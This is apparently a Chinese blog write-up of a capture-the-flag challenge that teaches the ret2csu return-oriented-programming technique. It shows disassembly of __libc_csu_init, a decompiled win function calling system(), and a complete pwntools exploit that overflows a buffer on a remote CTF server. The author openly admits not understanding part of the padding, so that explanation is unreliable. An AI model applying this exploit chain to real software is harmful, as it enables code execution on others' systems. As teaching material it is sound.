ROP-ret2csu

ret2csu原理

利用ret2csu的方法实现ROP。

__libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400840 ; __unwind {
.text:0000000000400840                 push    r15
.text:0000000000400842                 push    r14
.text:0000000000400844                 mov     r15, rdx
.text:0000000000400847                 push    r13
.text:0000000000400849                 push    r12
.text:000000000040084B                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400852                 push    rbp
.text:0000000000400853                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040085A                 push    rbx
.text:000000000040085B                 mov     r13d, edi
.text:000000000040085E                 mov     r14, rsi
.text:0000000000400861                 sub     rbp, r12
.text:0000000000400864                 sub     rsp, 8
.text:0000000000400868                 sar     rbp, 3
.text:000000000040086C                 call    _init_proc
.text:0000000000400871                 test    rbp, rbp
.text:0000000000400874                 jz      short loc_400896
.text:0000000000400876                 xor     ebx, ebx
.text:0000000000400878                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400880
.text:0000000000400880 loc_400880:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400880                 mov     rdx, r15
.text:0000000000400883                 mov     rsi, r14
.text:0000000000400886                 mov     edi, r13d
.text:0000000000400889                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040088D                 add     rbx, 1
.text:0000000000400891                 cmp     rbp, rbx  //提前设置rbx=0,rbp=1即可
.text:0000000000400894                 jnz     short loc_400880
.text:0000000000400896
.text:0000000000400896 loc_400896:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400896                 add     rsp, 8
.text:000000000040089A                 pop     rbx
.text:000000000040089B                 pop     rbp
.text:000000000040089C                 pop     r12
.text:000000000040089E                 pop     r13
.text:00000000004008A0                 pop     r14
.text:00000000004008A2                 pop     r15
.text:00000000004008A4                 retn
.text:00000000004008A4 ; } // starts at 400840

主要利用了loc_400880和loc_400896两部分,loc_400896可以设置任意的参数,loc_400880可以实现赋值。

call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]

上面代码部分,在实际运算过程中需要使得r12+rbx*8必须是600E10,即.init_array节的开始。

.init_array:0000000000600E10 ; ELF Initialization Function Table

执行循序loc_400896 → loc_400880→loc_400896

所以最后需要补上一个任意长度位56的字符串,48个是用于pop的,但是我怀疑哪个call里面可能也有一个pop。

反编译分析

ret2win函数,要求第三个参数是0xdeadcafebabebeef

int __fastcall ret2win(__int64 a1, __int64 a2, __int64 a3)
{
  char command[8]; // [rsp+10h] [rbp-20h] BYREF
  _TBYTE v5; // [rsp+18h] [rbp-18h] BYREF
  __int64 v6; // [rsp+28h] [rbp-8h]

  *(_QWORD *)&v5 = 0xD5BED0DDDFD28920LL;
  HIWORD(v5) = 170;
  *(_QWORD *)command = a3 ^ 0xAACCA9D1D4D7DCC0LL; 
  v6 = (__int64)&v5 + 1;
  *(_QWORD *)((char *)&v5 + 1) ^= a3;
  return system(command);
}
                                       mov     [rbp+var_24], edi
.text:00000000004007BC                 mov     [rbp+var_28], esi
.text:00000000004007BF                 mov     [rbp+var_30], rdx

第三个参数是通过rdx传递的,前两个参数无所谓,ROPgadget中没有能赋值rdx的gadget,使用通用gadget。

EXP

目前不太清除为啥是56,命名pop6个对应48个字节,多出来8个。

from pwn import *
context(log_level='debug')
p = remote("ctf.taqini.space",28029)
xor = 0xdeadcafebabebeef
ret2win_addr = 0x4007B1  
init_array_addr = 0x600E10

gadget1 = 0x40089A#pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
gadget2 = 0x400880 #mov     rdx, r15;mov     rsi, r14;mov     edi, r13d;call [r12]

payload = 'a'*40
payload += p64(gadget1)+p64(0) + p64(1)+p64(init_array_addr)+'a'*8+'a'*8+p64(xor)
payload +=p64(gadget2)+'a' * 56+p64(ret2win_addr)
p.recvuntil("> ")
p.sendline(payload)
p.interactive()
上一篇:739. Daily Temperatures


下一篇:matlab-lsqcurvefit函数